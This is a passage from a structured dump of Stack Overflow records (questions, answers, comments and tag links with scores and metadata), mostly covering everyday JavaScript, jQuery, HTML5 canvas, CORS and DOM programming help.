has body: Removal of the whitespace is not always desirable, e.g. when the brackets are used for some types of markup. Replace with a single space. text = "This is a [big]large[/big] bear." text = text.replace(/\s*\[.*?\]\s*/g, ' ') result: text="This is a large bear."

http://stackoverflow.com/q/25745938
type: Question
answer count: 2
upvote count: 0
tagged with: sum
tagged with: javascript
score: -1
has answer: http://stackoverflow.com/a/25746233
linked to: http://stackoverflow.com/q/25743517
favorite count: 0
downvote count: 1
type: AnsweredQuestion
has title: How to add the values in one array to those in another pair-wise?
accepted answer: http://stackoverflow.com/a/25746233
has body: How to add value of equals index of an array to another? I know I can do something like this: var i = 0, a = [1, 2, 3], b = [4, 5, 6], total = []; while (i &lt; a.length) { total[i] = a[i] + b[i]; i = i + 1; } console.log(total); //[5, 7, 9] But is there a standard or faster way of doing this? (In my specific case, a.length === b.length in all cases).
possible better answer: http://stackoverflow.com/a/25746057
has answer: http://stackoverflow.com/a/25746057

http://stackoverflow.com/comment/40283938
comment on: http://stackoverflow.com/a/25744475
score: 0
type: AnswerComment
type: Comment
has text: Thank you, but your updated fiddle does not cover entire text, only a part of it.

http://stackoverflow.com/comment/40371912
score: 0
comment on: http://stackoverflow.com/q/25808490
type: Comment
type: QuestionComment
has text: add this blog in .run(function(){ //here }) in the app.js

http://stackoverflow.com/comment/40332051
has text: You should change your question so that the values match in the before/after JSON or you'll have everyone as confused as me.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25787569

http://stackoverflow.com/a/25861345
has body: I had indeed missed something significant. The timer I had used in order to prevent the page hanging while the set was plotted was limiting the code to one pixel every 5 milliseconds, in other words 200 pixels per second. Not clever! I am now plotting one line at a time and it runs a lot better. Not yet real time but it is a lot quicker. Thanks for the ideas. I will look into the escape condition to see what it should be. A new jsfiddle with the revised code is here: http://jsfiddle.net/da1qyh9y/ and the for statement I've added is here: function main_loop() { if (m&lt;=(width+1)) { var n; for (n=0; n&lt;height; n=n+1) {
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25849412

http://stackoverflow.com/a/25796104
upvote count: 1
has comment: http://stackoverflow.com/comment/40438667
score: 1
has comment: http://stackoverflow.com/comment/40370412
has body: You're close - try calling the copy method on the Rally.util.DeepCopy singleton: Rally.util.DeepCopy.copy(selectedRecord); In case you didn't have the API link: https://help.rallydev.com/apps/2.0rc3/doc/#!/api/Rally.util.DeepCopy
accepted answer of: http://stackoverflow.com/q/25787500
has comment: http://stackoverflow.com/comment/40416703
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40455297
has comment: http://stackoverflow.com/comment/40366041
answers question: http://stackoverflow.com/q/25787500
type: Answer
has comment: http://stackoverflow.com/comment/40392330

http://stackoverflow.com/q/25780372
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: phonegap-plugins
favorite count: 0
tagged with: android
has title: AsyncTask inside execute method of Cordova plugin not working properly
tagged with: cordova
has body: I am developing cordova plugin for the first time and stuck in the following issue. I have created a class extending CorodvaPlugin and override execute method as given . What I want is after the asynctask has completed it background task, response is returned to the JS and values are displayed on the HTML but whats happening sometimes values are displayed and sometimes not.Any help would be appreciated. @Override public boolean execute(String action, JSONArray args, CallbackContext callbackContext) throws JSONException { try { context = this.cordova.getActivity().getApplicationContext(); this.mMyCallbackContext = callbackContext; new WSCall().execute(); PluginResult pluginResult = new PluginResult(PluginResult.Status.NO_RESULT); pluginResult.setKeepCallback(true); mMyCallbackContext .sendPluginResult(pluginResult); return true; } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); return false; } } and in the Async Task post execute I have done this @Override protected void onPostExecute(String result) { PluginResult result_; if(groups!=null) result_ = new PluginResult(PluginResult.Status.OK, groups); else if(ret_msg!=null) result_ = new PluginResult(PluginResult.Status.OK, ret_msg); else result_ = new PluginResult(PluginResult.Status.OK, ""); result_.setKeepCallback(false); mMyCallbackContext.sendPluginResult(result_); pDialog.dismiss(); }
upvote count: 2
type: UnansweredQuestion
tagged with: plugins
score: 2
has answer: http://stackoverflow.com/a/26732111
type: Question
linked to: http://stackoverflow.com/q/7751522

http://stackoverflow.com/a/25814039
has comment: http://stackoverflow.com/comment/40381062
accepted answer of: http://stackoverflow.com/q/25813889
has body: First lets look at this: onclick = "calcBMI('Height', 'Weight')" Your passing strings here, in which can't convert to be an integer (at least not the type your expecting). It appears you want to get the values of your elements with the names Height and Width. Well this is a good use of id's other than name's. Height :(in) Weight :(lbs) ... Total BMI: Now don't need any parameters for the calcBMI() functions because we can get them directly like so: document.getElementById("Height").value; So here are the changes to your function: function calcBMI() { var h = parseInt(document.getElementById("Height").value); var w = parseInt(document.getElementById("Weight").value); var TotalBMI = w * 703 / (h * h); document.getElementById("TotalBMI").value = "Your BMI is: " + TotalBMI; } Note I changed the document.write() to .innerHTML. Because running document.write() after the page loads rewrites the DOM. Also note that submitting the will refresh your page. It does not appear you really need the , so I recommend just removing it. Either that or prevent the default page refresh behavior.
answers question: http://stackoverflow.com/q/25813889
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40380824
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40380797
has comment: http://stackoverflow.com/comment/40380986

http://stackoverflow.com/a/30517793
has body: Sounds like a CORS issue. The Video is on a different origin than the web server. If you can get the video to include an "Access-Control-Allow-Origin: *" header in the response, and you can set video.crossorigin = "Anonymous", then you can probably pull this off. I used Charles Web Proxy to add the header to any image or video I wanted to work with. See https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image See Also https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes Here's a Fiddle working with an Image: http://jsfiddle.net/mcepc44p/2/ var canvas = document.getElementById("canvas").getContext("2d"); var button = document.getElementById("button"); var image = new Image(); image.crossOrigin = "anonymous"; // This enables CORS image.onload = function (event) { try { canvas.drawImage(image, 0, 0, 200, 200); button.download = "cat.png"; button.href = canvas.canvas.toDataURL(); } catch (e) { alert(e); } }; image.src = "https://i.chzbgr.com/maxW500/1691290368/h07F7F378/" Is this what you're looking for?
score: 57
answers question: http://stackoverflow.com/q/25753754
has comment: http://stackoverflow.com/comment/109285185
has comment: http://stackoverflow.com/comment/58202668
has comment: http://stackoverflow.com/comment/108340748
has comment: http://stackoverflow.com/comment/108340499
has comment: http://stackoverflow.com/comment/108340496
has comment: http://stackoverflow.com/comment/57347258
downvote count: 0
has comment: http://stackoverflow.com/comment/81167355
upvote count: 57
type: Answer

http://stackoverflow.com/q/25773937
tagged with: ruby-on-rails-3
has body: In one of my Rails apps I have added a local jQuery library, but I have noticed a 404 in the console. Should one be concerned about any future bugs due to not having the "jquery map" in my app files? Problem: GET localhost:3000/assets/jquery-latest.min.map 404 (Not Found) Error Thanks for any feedback in advance!
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25774211
type: Question
tagged with: javascript
tagged with: jquery
has title: jQuery Map 404 Issue in Rails App Console
score: 0
answer count: 1

http://stackoverflow.com/q/25817513
type: UnansweredQuestion
has body: Right now I'm trying to use JavaScript to dynamically add some &lt;select&gt; elements to an HTML page; specifically, &lt;select&gt; elements that will let people choose the time. I'm most of the way there: var newDiv = document.createElement("div"); var hrSelect = document.createElement("select"); hrSelect.name = "div_hr"; for (i = 0; i &lt; 24; i++) { var hrOption = document.createElement("option"); var hrStr = String(i); if (i &lt; 10) { hrStr = "0" + hrStr; } hrOption.value = hrStr; hrOption.appendChild(document.createTextNode(hrStr)); hrSelect.appendChild(hrOption); } newDiv.appendChild(hrSelect); This by itself works fine. So here's the thing: I want to make one of these options selected and appear by default, and I don't know how to do that. Something like: if (i == 12) { hrOption.selected = true; } But this doesn't work for me. I can't find out how to make this work; a Google search doesn't give any helpful options. Can anyone guide me toward the answer? (For those of you curious, I want to make the selected options default to the current time. I already know how to get the time via PHP and echo it into my JavaScript.) EDIT: as it turns out, my intended solution was correct. I'm not sure why it didn't work for me when I tested it. Voting to close.
downvote count: 1
has answer: http://stackoverflow.com/a/25817542
has comment: http://stackoverflow.com/comment/40387681
score: -1
tagged with: dom
type: Question
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40387663
tagged with: javascript
favorite count: 0
has title: Dynamically add "selected" to HTML option via DOM
has comment: http://stackoverflow.com/comment/40387694

http://stackoverflow.com/a/25728052
answers question: http://stackoverflow.com/q/25727233
type: Answer
has body: That page uses a jquery library called waypoints. You have to download the waypoint library, this library has a lot of functions for scroll event: for example: $('#example-offset-percent').waypoint(function() { notify('25% from the top'); }, { offset: '25%' }); this code triggers the notify when the object is 25% from the top of the screen. here is the link to the page: http://imakewebthings.com/jquery-waypoints/
score: 0

http://stackoverflow.com/comment/40237504
type: QuestionComment
has text: Here's an example: http://jsfiddle.net/DerekL/ws5e3rw6/3/ This is done with a queue array, similar to how jQuery handles animations.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25735452

http://stackoverflow.com/q/25834954
has title: jQuery: check input with name attribute for hasClass
tagged with: validation
upvote count: 0
has comment: http://stackoverflow.com/comment/40419286
tagged with: javascript
tagged with: jquery
favorite count: 0
has body: What I'm trying to do is check if input with name attribute "Name" has a class of "input-validation-error", if so apply css to the label with for attribute of "Name". if ($("input[name='Name']").hasClass("input-validation-error")) { $("label[for='Name']").css("color:red"); console.log('here'); } This doesn't seem to work. Any ideas? Markup: Name
type: Question
tagged with: http://stackoverflow.com/tag/html
tagged with: input
has comment: http://stackoverflow.com/comment/40418777
score: -1
has answer: http://stackoverflow.com/a/25834964
downvote count: 1
answer count: 1
type: UnansweredQuestion

http://stackoverflow.com/q/25786279
type: AnsweredQuestion
tagged with: casperjs
has title: capserjs utils.dump logging "[object Object]"
type: Question
tagged with: testing
tagged with: javascript
has answer: http://stackoverflow.com/a/25854159
score: 0
has comment: http://stackoverflow.com/comment/40329538
answer count: 1
has body: I have this in my Client Side code: console.log('login', S.loginData) and this in my casperjs test casper.on('remote.message', function(msg) { utils.dump(msg) }) the console output is always: "login [object Object]" How can I log the object properly?
has comment: http://stackoverflow.com/comment/40378226
accepted answer: http://stackoverflow.com/a/25854159
tagged with: logging

http://stackoverflow.com/a/25845702
type: Answer
score: 2
upvote count: 2
has body: Try moving this: var circle = new google.maps.Circle({ map: map, radius: 1000, fillColor: '#AA0000' }); ..inside the for loop: for (i = 0; i &lt; locations.length; i++) { var circle = new google.maps.Circle({ map: map, radius: 1000, fillColor: '#AA0000' }); marker = new google.maps.Marker({ position: new google.maps.LatLng(locations[i][1], locations[i][2]), map: map }); circle.bindTo('center', marker, 'position'); google.maps.event.addListener(marker, 'click', (function(marker, i) { return function() { infowindow.setContent(locations[i][0]); infowindow.open(map, marker); } })(marker, i)); }
accepted answer of: http://stackoverflow.com/q/25845644
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25845644

http://stackoverflow.com/q/25854578
type: Question
answer count: 2
tagged with: javascript
has answer: http://stackoverflow.com/a/25854886
tagged with: jquery
has comment: http://stackoverflow.com/comment/40454618
has comment: http://stackoverflow.com/comment/40454723
score: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40454665
has answer: http://stackoverflow.com/a/25855065
has body: I have a PHP file that is triggered onClick of a button in a linked HTML file. I have a textbox in the same form that triggers the PHP file and I refer it in the PHP file like this HTML &lt;form action="phpinfo.php" method="POST"&gt; &lt;input name="shirtText" id="name" class="input-field" type="text" value="Enter text"/&gt; &lt;br/&gt; &lt;input type="submit" id="submit_btn" value="Submit"/&gt; &lt;/form&gt; PHP $text=$_POST['shirtText']; However there are some buttons like select option drop down bar and other click-able divs. How do i mention these Divs or other elements in PHP like how we do it Jquery by writing $('#id') or $('.class')?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40454625
tagged with: php
has title: How to refer to elements in a php file that are not mentioned in
has comment: http://stackoverflow.com/comment/40454720
tagged with: mysql
has comment: http://stackoverflow.com/comment/40454743

http://stackoverflow.com/a/25716472
score: 3
has comment: http://stackoverflow.com/comment/47107534
has body: And got it on my own. Amazing what documentation can teach when you stare at it long enough. After looking at the docs located here: http://visionmedia.github.io/superagent/#post-/%20put%20requests I realized that for Superagent to post properly I had to tell it the type of post being made prior to the information being sent like so: it("should display input text from a form.", function(done){ request.post('localhost:8080') .type('form') .send({field: "Test string."}) .end(function(res){ expect(res).to.exist; expect(res.status).to.equal(200); expect(res.text).to.contain("Test"); done(); }) }); Nifty stuff. Hope others find this helpful.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/60890494
answers question: http://stackoverflow.com/q/25715078
has comment: http://stackoverflow.com/comment/40202132
upvote count: 3
has comment: http://stackoverflow.com/comment/40201571
accepted answer of: http://stackoverflow.com/q/25715078
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40445491
comment on: http://stackoverflow.com/a/25841089
type: Comment
score: 0
type: AnswerComment
has text: Thank you very much for your help, Artjom. However, i noticed that none of the code from within `this.evaluate(function()` gets executed at all. What can be causing this? I had this problem before when i was trying to use `evaluate` myself. Is it a configuration issue..? Doesn't seem like it, but i'm not entirely sure.

http://stackoverflow.com/q/25742807
has comment: http://stackoverflow.com/comment/40250418
tagged with: regex
type: UnansweredQuestion
has body: I currently have the following regex /^(0?[1-9]|1[0-2])$/ Which checks for numbers between 1 and 12. I also need to to check for empty aswell. Any ideas on how to do this?
has answer: http://stackoverflow.com/a/25742906
type: Question
has comment: http://stackoverflow.com/comment/40250617
answer count: 1
tagged with: javascript
has title: How to check for number range (1-12) and not empty REGEX
score: 0

http://stackoverflow.com/a/25771113
upvote count: 0
has body: You can do it with document.head.appendChild(responseText); Correct way would be as suggested $("head").append(xhr.responseText);
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25771024
answers question: http://stackoverflow.com/q/25771024
has comment: http://stackoverflow.com/comment/40302619
type: Answer
has comment: http://stackoverflow.com/comment/40302258
downvote count: 1
score: -1

arrays
tags question: http://stackoverflow.com/q/25839897
tags question: http://stackoverflow.com/q/25728715
tags question: http://stackoverflow.com/q/25758363
tags question: http://stackoverflow.com/q/25755449
tags question: http://stackoverflow.com/q/25754102
tags question: http://stackoverflow.com/q/25788761
tags question: http://stackoverflow.com/q/25768490
tags question: http://stackoverflow.com/q/25826981
tags question: http://stackoverflow.com/q/25720854
tags question: http://stackoverflow.com/q/25828451
tags question: http://stackoverflow.com/q/25841095
tags question: http://stackoverflow.com/q/25740124
tags question: http://stackoverflow.com/q/25867016
tags question: http://stackoverflow.com/q/25767770
type: Tag
tags question: http://stackoverflow.com/q/25788334
tags question: http://stackoverflow.com/q/25817256
tags question: http://stackoverflow.com/q/25855468
tags question: http://stackoverflow.com/q/25797412
tags question: http://stackoverflow.com/q/25835854
tags question: http://stackoverflow.com/q/25720546
tags question: http://stackoverflow.com/q/25768413
tags question: http://stackoverflow.com/q/25830195
tags question: http://stackoverflow.com/q/25822124
tags question: http://stackoverflow.com/q/25729270
tags question: http://stackoverflow.com/q/25734397
tags question: http://stackoverflow.com/q/25791855
tags question: http://stackoverflow.com/q/25777722
tags question: http://stackoverflow.com/q/25796203
tags question: http://stackoverflow.com/q/25732061
tags question: http://stackoverflow.com/q/25822464
tags question: http://stackoverflow.com/q/25745056
tags question: http://stackoverflow.com/q/25772826
tags question: http://stackoverflow.com/q/25826371
tags question: http://stackoverflow.com/q/25857928
tags question: http://stackoverflow.com/q/25796435
tags question: http://stackoverflow.com/q/25790986
tags question: http://stackoverflow.com/q/25736656
tags question: http://stackoverflow.com/q/25866262
tags question: http://stackoverflow.com/q/25736896
tags question: http://stackoverflow.com/q/25849178
tags question: http://stackoverflow.com/q/25755648
tags question: http://stackoverflow.com/q/25786650
tags question: http://stackoverflow.com/q/25782500
tags question: http://stackoverflow.com/q/25756038
tags question: http://stackoverflow.com/q/25863102
tags question: http://stackoverflow.com/q/25855872
tags question: http://stackoverflow.com/q/25838368
tags question: http://stackoverflow.com/q/25778342
tags question: http://stackoverflow.com/q/25713817
tags question: http://stackoverflow.com/q/25836478
tags question: http://stackoverflow.com/q/25733124
tags question: http://stackoverflow.com/q/25741120
tags question: http://stackoverflow.com/q/25868974
tags question: http://stackoverflow.com/q/25745206
tags question: http://stackoverflow.com/q/25857634
tags question: http://stackoverflow.com/q/25826084
tags question: http://stackoverflow.com/q/25734639
tags question: http://stackoverflow.com/q/25812665
tags question: http://stackoverflow.com/q/25774366
tags question: http://stackoverflow.com/q/25819311
tags question: http://stackoverflow.com/q/25833221
tags question: http://stackoverflow.com/q/25855046
tags question: http://stackoverflow.com/q/25785595
tags question: http://stackoverflow.com/q/25751118
tags question: http://stackoverflow.com/q/25867077
tags question: http://stackoverflow.com/q/25740894
tag name: arrays
tags question: http://stackoverflow.com/q/25763882
tags question: http://stackoverflow.com/q/25768412
tags question: http://stackoverflow.com/q/25734608
tags question: http://stackoverflow.com/q/25829698
tags question: http://stackoverflow.com/q/25804478
tags question: http://stackoverflow.com/q/25791915
tags question: http://stackoverflow.com/q/25808271
tags question: http://stackoverflow.com/q/25864835
tags question: http://stackoverflow.com/q/25813387
tags question: http://stackoverflow.com/q/25725720
tags question: http://stackoverflow.com/q/25848056
tags question: http://stackoverflow.com/q/25801026

http://stackoverflow.com/comment/139461886
has text: Why do you typeset "element.parent" as opposed to "element"?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/39393474

http://stackoverflow.com/comment/62484591
type: Comment
has text: Both "Catching browser back" and "Mastering The Back Button With Javascript" are gone or cannot be reached. What was the the pure JS code for back button detection in IE, if possible down to IE8? Also don't want to include the lib as that also changes URL hash but I am doing that myself, so really just need reliable back button on IE detection. Thank you.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25801786

http://stackoverflow.com/a/25756207
score: 0
has body: Problem is solved. I'm using Javascript : $(".a").hover(function(){ $(this).find(".two").css({"visibility":"visible"}); }, function(){ $(this).find(".two").css({"visibility":"hidden"}); }); This is the previous answer from @jmore009 before he was editing his last answer.
answers question: http://stackoverflow.com/q/25755717
type: Answer

http://stackoverflow.com/comment/40207090
has text: because `/fakeurl`, `/anotherurl` `/andanotherurl` all of these urls compatible with ` .when('/:pages',..` this route right ? so yes these otherwise routes are always goes with that one :)
score: 0
comment on: http://stackoverflow.com/a/25719392
type: Comment
type: AnswerComment

http://stackoverflow.com/a/25816623
type: Answer
has body: Your HTML looks kinda confusing, try to avoid using .body class. .container { position: relative; padding-bottom: 40px; // footer height } Set position to relative on .container. Your footer is positioned absolute so it needs some related element. Also I did remove the .container class by your footer wrapping div. Footer DEMO EDIT: Added padding-bottom so your footer is not overlapping content.
accepted answer of: http://stackoverflow.com/q/25816169
answers question: http://stackoverflow.com/q/25816169
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/40329144
type: Comment
type: QuestionComment
has text: Impossible to say without more of your code. But no, the background script should execute only once if it's persistent.
comment on: http://stackoverflow.com/q/25784958
score: 0

http://stackoverflow.com/q/25796084
has comment: http://stackoverflow.com/comment/40348782
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25796538
accepted answer: http://stackoverflow.com/a/25796538
has comment: http://stackoverflow.com/comment/40348690
tagged with: browser-history
has comment: http://stackoverflow.com/comment/40348042
type: Question
answer count: 1
tagged with: url
tagged with: javascript
has title: Get the URL of the previous page even after history.back() event
has body: Is there a way I can get the URL of the last page the user has been? document.referrer isn't what I want, because it only gets the referrer and it won't work if, for instance, the user clicks the back button. I suspect this isn't possible, since you can't even get the URL of the forward page in the history.
score: 0
has comment: http://stackoverflow.com/comment/40348103

http://stackoverflow.com/comment/40418753
type: QuestionComment
has text: Alright, here goes: https://github.com/axedre/angulargl. Thanks for your time.
score: 0
comment on: http://stackoverflow.com/q/25834400
type: Comment

http://stackoverflow.com/a/25815580
has body: I would take a similar approach to @AlliterativeAlice, but I would definitely not recommend doing this operation at the route level. This problem is a consequence of DOM security and thus is a job for the view. You're best bet is to setup an observer in your view class and call rerender from there. E.g.: App.VideoView = Ember.View.extend({ _didChangeVideoSrc: function() { // Make the view is still in the DOM if(this.$()) { this.rerender(); } }.observes('controller.src') }); I also updated your fiddle to make this work: http://jsfiddle.net/rverobx9/2/
type: Answer
answers question: http://stackoverflow.com/q/25717803
score: 0

http://stackoverflow.com/q/25717188
has comment: http://stackoverflow.com/comment/40208594
score: 0
tagged with: iframe
has comment: http://stackoverflow.com/comment/40204022
has comment: http://stackoverflow.com/comment/40203085
tagged with: jasper-reports
has comment: http://stackoverflow.com/comment/40203206
has comment: http://stackoverflow.com/comment/40206753
tagged with: javascript
type: UnansweredQuestion
has body: I have a button in and it is used for calling a dialog. Dialog's content is a pdf got from jasper report. Here is the backbone view of dialog : var framSrc = getRSUR; //getting pdf from jasper reporting server var ReportView = Backbone.View.extend({ tagName : "div", id : "report", initialize: function() { }, events : { 'click #print' : 'printDialog' }, 'printDialog' : function(){ printReport(); }, render: function(){ this.$el.html(' Print Report '); return this; } }); printReport() : function printReport(){ try{ var oIframe = document.getElementById('agingFrame'); var oContent = document.getElementById('agingFrame').innerHTML; var oDoc = (oIframe.contentWindow || oIframe.contentDocument); if (oDoc.document) oDoc = oDoc.document; oDoc.write(" title "); oDoc.write(" "); oDoc.write(oContent + " "); oDoc.close(); } catch(e){ self.print(); } } But what I've got from printing is the full page of the web page, not the pdf content in iframe.
tagged with: jquery
has comment: http://stackoverflow.com/comment/40202712
has comment: http://stackoverflow.com/comment/40202896
has comment: http://stackoverflow.com/comment/40202805
has comment: http://stackoverflow.com/comment/40205167
has comment: http://stackoverflow.com/comment/40203715
answer count: 0
has title: Print content of popup dialong by javascript in backbone project
tagged with: backbone.js
type: Question
has comment: http://stackoverflow.com/comment/40204612
has comment: http://stackoverflow.com/comment/40203362
has comment: http://stackoverflow.com/comment/40205108
has comment: http://stackoverflow.com/comment/40205811
has comment: http://stackoverflow.com/comment/40206019

http://stackoverflow.com/q/25788958
has comment: http://stackoverflow.com/comment/40410901
has comment: http://stackoverflow.com/comment/40343385
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40334325
has title: HTML5 Image fit Issue in Canvas
has comment: http://stackoverflow.com/comment/40334463
linked to: http://stackoverflow.com/q/11929099
has comment: http://stackoverflow.com/comment/40337663
type: Question
has body: I am working on HTML5 application for mobile. I am using a canvas element and file upload element. Whenever user hit this file upload element from mobile. He sees two options. 1. Choose existing photo 2. Take new photo If he choose existing photo, this is fixed well in my canvas but if he clicks new photo, it does not fit into canvas. Width is fine but height of click image shown in canvas in not more than 50px. My HTML code: &lt;canvas id="myCanvas" width="270" height="300"&gt;&lt;/canvas&gt; &lt;input type="file" id="uploadImage" name="upload" value="Upload" onchange="PreviewImage();" /&gt; My Javascript Code function PreviewImage() { var oFReader = new FileReader(); oFReader.readAsDataURL(document.getElementById("uploadImage").files[0]); oFReader.onload = function (oFREvent) { var canvas = document.getElementById('myCanvas'); ctx = canvas.getContext('2d'); ctx.clearRect(0, 0, 270, 300); imageUrl = oFREvent.target.result; var base_image = new Image(); base_image.src = imageUrl; base_image.onload = function () { ctx.drawImage(base_image, 0, 0, 270, 300); } }; } I have searched many sites but could not find solution of this issue. Any help?
has comment: http://stackoverflow.com/comment/40410909
tagged with: javascript
score: 0
tagged with: html5-canvas
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has answer: http://stackoverflow.com/a/25851622

http://stackoverflow.com/comment/40379808
type: QuestionComment
has text: In the function planenrolldate_id argument is set to "array" data type, I tried "any" data type. Either does not work.
comment on: http://stackoverflow.com/q/25812227
score: 0
type: Comment

http://stackoverflow.com/comment/40446390
has text: Is the script or the file generated by PHP, the OP says one thing and you're saying another.
type: Comment
comment on: http://stackoverflow.com/a/25849997
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40243186
comment on: http://stackoverflow.com/q/25738453
has text: The HTML5 `range` input may be suitable in this case. It falls back to a standard `text` input if the browser does not support it. http://www.html5tutorial.info/html5-range.php
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25763818
downvote count: 2
tagged with: canvas
upvote count: 1
has comment: http://stackoverflow.com/comment/40290994
possible better answer: http://stackoverflow.com/a/25765505
has comment: http://stackoverflow.com/comment/40290881
favorite count: 0
has comment: http://stackoverflow.com/comment/40288647
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40289987
tagged with: css
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25765363
accepted answer: http://stackoverflow.com/a/25765363
has comment: http://stackoverflow.com/comment/40288717
type: Question
has comment: http://stackoverflow.com/comment/40290229
has body: Currently i am working on html5 drag and drop applications but i found this code on jsfidle site. It is working fine but when i used in webstroms editor at my local system then it is not working. So please tell me what can i do and how can i resolved this problems. Drag me down1 Drag me down2 Drag me down3
has title: HTML5 Drag and Drop is not working
tagged with: javascript
tagged with: jquery
score: -1
has answer: http://stackoverflow.com/a/25765505
answer count: 2

http://stackoverflow.com/comment/40489799
has text: No problem, it was marked as a duplicate with 3-4 other popular solutions, you may want to check their approaches if there are styles that work better in your application.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25861361
type: Comment

http://stackoverflow.com/q/25715398
upvote count: 0
has body: My first question here :) I want a way to load a page inside iframe while changing/replacing a part of the urls of any links present in the webpage with alternate text. eg. Suppose we load a website in iframe like "mywebsite.com" which has a link to another site inside the loaded page eg. http s://www.facebook.com/abcd?id=text http s://www.facebook.com/efgh?id=text . Then I want the website inside iframe to be loaded with custom urls like: eg. http s://www.facebook.com/abcd?id=alternatetext http s://www.facebook.com/efgh?id=alternatetext Basically I need a way to replace "text" to "alternatetext" .. ON THE FLY while rendering the webpage inside iframe. How do I do it? Help me people.. Thanks.
tagged with: javascript
tagged with: jquery
has title: Load webpage inside iframe but replace a part of url inside iframe page
favorite count: 0
has comment: http://stackoverflow.com/comment/40199508
type: Question
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25715838
score: -1
has comment: http://stackoverflow.com/comment/40261004
has comment: http://stackoverflow.com/comment/40200145
tagged with: iframe
has comment: http://stackoverflow.com/comment/40261067
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40199528
has comment: http://stackoverflow.com/comment/40199380
type: UnansweredQuestion
tagged with: vbscript
has comment: http://stackoverflow.com/comment/40199476
has comment: http://stackoverflow.com/comment/40200134

http://stackoverflow.com/comment/40398514
comment on: http://stackoverflow.com/a/25822926
type: Comment
type: AnswerComment
has text: Sorry,tried several times, but its not working, or rather it does not even append at all. http://i.imgur.com/JSExReN.jpg
score: 0

http://stackoverflow.com/comment/40452736
score: 0
has text: so replace it with the whole code including tag
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25853473

http://stackoverflow.com/comment/40315734
type: AnswerComment
score: 0
type: Comment
has text: @charlietfl You are correct. indexOf should work fine since the object in the list is the same object passed in the as a parameter... I was thinking that the parameter might not always be a reference but a serialized representation of the object. In that scenario, indexOf would fail but that's not the case here. indexOf will work just fine here.
comment on: http://stackoverflow.com/a/25777303

http://stackoverflow.com/comment/40404362
score: 0
type: Comment
type: QuestionComment
has text: unexpeted end of input :O
comment on: http://stackoverflow.com/q/25813369

http://stackoverflow.com/q/25850269
answer count: 1
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25850454
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has body: My structure is as follows: In neque elit. Semper amet leo. Pulvinar ullamcorper ac nullam convallis amet nunc scelerisque porta. Dolor eu ornare ligula ut voluptatem. Orci dictum ullamcorper elit sit orci. Etiam lectus vel mattis suscipit iure sem imperdiet ante. Sed rutrum potenti magna arcu ullamcorper. Vivamus convallis velit. Eget elit scelerisque tincidunt cras ultrices metus nulla libero et mus luctus. Sagittis orci potenti scelerisque etiam eiusmod tempor pellentesque lobortis rutrum interdum nibh. Tellus quas elit. Pellentesque rhoncus magna. Eleifend in amet. Hac neque est rutrum et dis varius et dui. Vestibulum nulla magna. Magna interdum ac eros bibendum velit. Et amet nunc vel amet vel ligula dictum tristique dolor odio dui. Morbi dolor lectus. Nascetur nullam est. Vitae nulla vitae. Pellentesque ullamcorper magna. Non impedit in rhoncus lacus nulla ut vulputate nulla. Eros ultricies leo dolor ut luctus. Maecenas pharetra ut. Metus ut congue. Lacus ut vestibulum. Auctor tortor tempus. Aptent mattis lectus. Condimentum dolore velit maecenas officia arcu velit placerat nullam urna lacus justo. Nunc donec quam neque tortor enim sem eros dui vulputate rhoncus nam. Ut semper ad eu ac vel turpis duis ornare. Euismod mattis ante. Non aliquet eleifend ut mollis eget. Donec placerat at. In porttitor pellentesque. Accumsan sit arcu vestibulum habitant tempor ultrices justo praesent. Dui aliquam mauris in aliquam magna erat quisque orci. Conubia metus proin eu tincidunt wisi bibendum id condimentum in justo dui qui est dapibus. Facilisis eget at. Id ac ullamcorper odio urna tortor elit quam elementum. Erat vivamus ut sit massa metus maecenas wisi suspendisse quis hendrerit mauris. Quam at sodales blandit lacus vestibulum. Elit suspendisse quo. Vivamus auctor wisi. Quis id lobortis. Diam sociosqu et elementum erat magna. Elit elit eu. Laoreet habitant tempor pellentesque dictum eget. Ipsum lectus dignissim id elit proin ullamcorper quis morbi. What I'm looking to d…
accepted answer: http://stackoverflow.com/a/25850454
upvote count: 1
type: AnsweredQuestion
score: 1
has title: How can you fake an ellipses on a div with multiple nested elements?
type: Question

http://stackoverflow.com/comment/40409294
score: 0
comment on: http://stackoverflow.com/q/25828947
type: QuestionComment
type: Comment
has text: @j08691 Done and done.

http://stackoverflow.com/a/25848217
answers question: http://stackoverflow.com/q/25848056
